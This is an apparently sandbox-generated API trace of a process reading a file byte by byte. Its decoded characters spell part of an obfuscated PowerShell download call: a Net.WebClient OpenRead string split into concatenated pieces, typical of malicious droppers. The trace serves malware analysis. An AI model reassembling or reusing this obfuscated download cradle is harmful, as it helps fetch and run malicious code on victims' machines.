	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4b2, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4b4, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4b6, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4b8, cchWideChar=1 | out: lpWideCharStr="N") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ba, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.682] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.682] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4bc, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.682] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.682] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4be, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4c0, cchWideChar=1 | out: lpWideCharStr="W") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4c2, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4c4, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4c6, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4c8, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.683] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ca, cchWideChar=1 | out: lpWideCharStr="b") returned 1
	[0058.683] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.683] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.683] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4cc, cchWideChar=1 | out: lpWideCharStr="C") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ce, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4d0, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4d2, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4d4, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4d6, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4d8, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.684] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.684] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.684] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4da, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4dc, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4de, cchWideChar=1 | out: lpWideCharStr=")") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4e0, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4e2, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4e4, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4e6, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.685] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4e8, cchWideChar=1 | out: lpWideCharStr="O") returned 1
	[0058.685] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.685] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ea, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ec, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4ee, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4f0, cchWideChar=1 | out: lpWideCharStr="R") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4f2, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4f4, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.686] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4f6, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0058.686] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.686] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4f8, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4fa, cchWideChar=1 | out: lpWideCharStr="9") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.687] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e4fc, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.687] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.687] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
